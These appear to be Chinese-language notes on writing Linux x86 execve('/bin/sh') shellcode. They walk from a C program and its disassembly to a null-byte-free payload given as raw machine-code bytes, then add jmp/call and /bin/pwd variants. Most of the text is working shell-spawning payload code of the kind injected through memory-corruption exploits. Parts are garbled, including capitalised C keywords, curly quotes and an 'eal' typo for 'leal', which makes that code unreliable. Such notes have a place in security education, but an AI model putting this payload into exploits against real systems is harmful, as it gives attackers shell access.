#include <stdio.h>
void main()
{
Char *name[2];
Name[0] =“/bin/sh”;
Name[1] = NULL;
Execve(name[0], name, NULL);
}
使用 objdump -d a.out:
push %ebp //保存原来的基址指针 shell调用main函数. 这个ebp是shell的基地址
mov %esp, %ebp //将当前sp指针变成新的bp指针
sub $0x8, %esp //为局部变量预留空间
and $0xfffffff8, %esp //双字边界对齐
mov $0x0, %eax //清空eax
sub %eax, %esp
movl $0x808ef88, 0xfffffff8(%ebp) //将字符串”/bin/sh”地址拷贝到name[0]中
movl $0x0, 0xfffffffc(%ebp) //将null拷贝到name[1]中
sub $0x4, %esp //esp - 4
push $0x0 //将execve第3个参数null压栈
lea 0xfffffff8(%ebp), %eax //把name[]地址装载到eax
push %eax //把execve第二个参数name[]地址压栈
pushl 0xfffffff8(%ebp) //把execve第一个参数“/bin/sh”地址压栈
call 0x804d9f0<execve> //调用execve
add $0x10, %esp //C调用约定,调用者恢复堆栈
leave //等于add XXX,%esp, pop %eip
ret
简化:
pushl $0x0068732f // "/bin/sh"字符串的ascii码
pushl $0x6e69622f
movl %esp,%ebx //将字符串首地址记录在ebx中 即,exec的参数1.
pushl $0 //压栈arg2
pushl %ebx //压栈arg1
movl %esp,%ecx //exec参数2.
movb $0xb,%al
int $0x80
上面这段代码能成功调用 /bin/sh,但是 pushl $0 和pushl 0x0068732f会产生0的机器码,使shellcode截断.
更正:
8048054: 31 c0 xor %eax,%eax
8048056: 50 push %eax
8048057: 68 6e 2f 73 68 push $0x68732f6e
804805c: 68 2f 2f 62 69 push $0x69622f2f
8048061: 89 e3 mov %esp,%ebx
8048063: 50 push %eax
8048064: 53 push %ebx
8048065: 89 e1 mov %esp,%ecx
8048067: b0 0b mov $0xb,%al
8048069: cd 80 int $0x80
又一版本:
jmp 1f
2: popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
eal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
1: call 2b
.string \\"/bin/sh\\"
注:
系统调用时,系统调用号存放在%eax中,参数1,2,3分别存在%ebx,%ecx,%edx中
.section .text
.globl _start
_start:
jmp lab2
lab1:
popl %esi
xor %eax,%eax
pushl %eax
pushl %esi
movl %esi,%ebx
movl %esp,%ecx
xor %edx,%edx
movb $0xb,%al
int $0x80
movb $0x1,%al
xor %ebx,%ebx
int $0x80
lab2:
call lab1
.string "/bin/pwd"